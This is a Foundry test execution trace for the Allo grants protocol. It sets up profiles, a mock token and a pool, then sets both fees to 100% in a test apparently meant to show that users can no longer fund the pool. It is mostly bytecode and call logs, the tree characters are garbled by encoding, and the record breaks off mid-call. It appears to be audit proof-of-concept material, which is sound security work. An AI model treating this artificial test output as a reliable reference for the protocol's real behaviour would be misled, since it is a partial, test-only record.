ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Pool Profile 1, (1, PoolProfile1), pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xaD92F0f1b8BcC455322094820e4a1BC90875c5A1\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xaD92F0f1b8BcC455322094820e4a1BC90875c5A1::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220375011294c23621c2a0fae542d6b13301a64a78e0f2bb4f12bb1558964a7f4d364736f6c63430008130033b3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0xE4C662c4b8018EEA89294209Cd34Efb150EF4297\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, nonce: 0, name: Pool Profile 1, metadata: (1, PoolProfile1), owner: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], anchor: Anchor: [0xE4C662c4b8018EEA89294209Cd34Efb150EF4297])\n ā”‚ ā””ā”€ ā† 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182\n ā”œā”€ [3776] Registry::getProfileById(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182) [staticcall]\n ā”‚ ā””ā”€ ā† (0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, 0, Pool Profile 1, (1, PoolProfile1), 0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019, 0xE4C662c4b8018EEA89294209Cd34Efb150EF4297)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d]\n ā”œā”€ [0] VM::label(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], profile1_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d]\n ā”œā”€ [0] VM::label(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], profile1_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214]\n ā”œā”€ [0] VM::label(profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], profile1_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150]\n ā”œā”€ [0] VM::label(profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], profile1_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Profile 1, (1, Profile1), profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], [0x32AA463a3F1fc42AbEAD98584E6A73826124B214, 0x1ed2CE7e57A08c9a31c35782c6016318f2B53150])\n ā”‚ ā”œā”€ [1617] ā†’ new @0x8411887dF1099B97792398f36630a770e062C779\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0x8411887dF1099B97792398f36630a770e062C779::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220375011294c23621c2a0fae542d6b13301a64a78e0f2bb4f12bb1558964a7f4d364736f6c6343000813003341ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, account: profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], sender: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, account: profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], sender: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, nonce: 0, name: Profile 1, metadata: (1, Profile1), owner: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], anchor: Anchor: [0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641])\n ā”‚ ā””ā”€ ā† 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909\n ā”œā”€ [3776] Registry::getProfileById(0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909) [staticcall]\n ā”‚ ā””ā”€ ā† (0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, 0, Profile 1, (1, Profile1), 0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d, 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c]\n ā”œā”€ [0] VM::label(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], profile2_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c]\n ā”œā”€ [0] VM::label(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], profile2_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2]\n ā”œā”€ [0] VM::label(profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2], profile2_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41]\n ā”œā”€ [0] VM::label(profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41], profile2_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Profile 2, (1, Profile2), profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2, 0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xEb8BeBB84a881f71509e868DD3877035f72b8fC2\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xEb8BeBB84a881f71509e868DD3877035f72b8fC2::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220375011294c23621c2a0fae542d6b13301a64a78e0f2bb4f12bb1558964a7f4d364736f6c63430008130033ce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0x4E0aB029b2128e740fA408a26aC5f314e769469f\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, account: profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2], sender: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, account: profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41], sender: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, nonce: 0, name: Profile 2, metadata: (1, Profile2), owner: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], anchor: Anchor: [0x4E0aB029b2128e740fA408a26aC5f314e769469f])\n ā”‚ ā””ā”€ ā† 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4\n ā”œā”€ [3776] Registry::getProfileById(0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4) [staticcall]\n ā”‚ ā””ā”€ ā† (0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, 0, Profile 2, (1, Profile2), 0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c, 0x4E0aB029b2128e740fA408a26aC5f314e769469f)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481]\n ā”œā”€ [0] VM::label(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], allo_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2720553] ā†’ new Allo@0x9b40E73C1070fD77cFc3594A84E349C86E6F721f\n ā”‚ ā””ā”€ ā† 13588 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4]\n ā”œā”€ [0] VM::label(allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], allo_treasury)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [120967] Allo::initialize(Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 10000000000000000 [1e16], 0)\n ā”‚ ā”œā”€ emit OwnershipTransferred(oldOwner: 0x0000000000000000000000000000000000000000, newOwner: allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481])\n ā”‚ ā”œā”€ emit RegistryUpdated(registry: Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])\n ā”‚ ā”œā”€ emit TreasuryUpdated(treasury: allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4])\n ā”‚ ā”œā”€ emit PercentFeeUpdated(percentFee: 10000000000000000 [1e16])\n ā”‚ ā”œā”€ emit BaseFeeUpdated(baseFee: 0)\n ā”‚ ā”œā”€ emit Initialized(version: 1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [702732] ā†’ new MockERC20@0x2e234DAe75C793f67A35089C9d99245E1C58470b\n ā”‚ ā””ā”€ ā† 3174 bytes of code\n ā”œā”€ [46581] MockERC20::mint(AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000000000000000000 [1e24])\n ā”‚ ā”œā”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481]\n ā”œā”€ [0] VM::label(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], allo_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [24681] MockERC20::mint(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], 1000000000000000000000000 [1e24]) \n ā”‚ ā”œā”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [24681] MockERC20::mint(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], 1000000000000000000000000 [1e24]) \n ā”‚ ā”œā”€ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [24403] MockERC20::approve(Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], 1000000000000000000000000 [1e24])\n ā”‚ ā”œā”€ emit Approval(owner: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† true\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [24403] MockERC20::approve(Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], 1000000000000000000000000 [1e24])\n ā”‚ ā”œā”€ emit Approval(owner: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], spender: Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], amount: 1000000000000000000000000 [1e24])\n ā”‚ ā””ā”€ ā† true\n ā”œā”€ [678020] ā†’ new @0xF62849F9A0B5Bf2913b396098F7c7019b51A820a\n ā”‚ ā””ā”€ ā† 3383 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481]\n ā”œā”€ [0] VM::label(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], allo_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2335] Allo::transferOwnership(AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])\n ā”‚ ā”œā”€ emit OwnershipTransferred(oldOwner: allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], newOwner: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā””ā”€ ā† ()\n\n [458555] AlloTest::test_UserWillNeverBeAbleToFundThePoolIfPercentFeeIsOneHundredPercent()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [326374] Allo::createPoolWithCustomStrategy(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0, (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [2696] Registry::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002d53656e64696e6720257320746f2074686520737472617465677920666f7220696e697469616c697a6174696f6e00000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [23870] 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a::initialize(1, 0x3078)\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000186465706c6f79696e67207769746820706f6f6c49642025730000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000001) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000000000000000000000000001\n ā”‚ ā”œā”€ [237] 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 0x0000000000000000000000009b40e73c1070fd77cfc3594a84e349c86e6f721f\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, token: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, amount: 0, metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n ā”œā”€ [23569] Allo::updateBaseFee(1000000000000000000 [1e18])\n ā”‚ ā”œā”€ emit BaseFeeUpdated(baseFee: 1000000000000000000 [1e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [6593] Allo::updatePercentFee(1000000000000000000 [1e18])\n ā”‚ ā”œā”€ emit PercentFeeUpdated(percentFee: 1000000000000000000 [1e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]\n ā”œā”€ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], user)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::deal(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 4000000000000000000 [4e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(user: 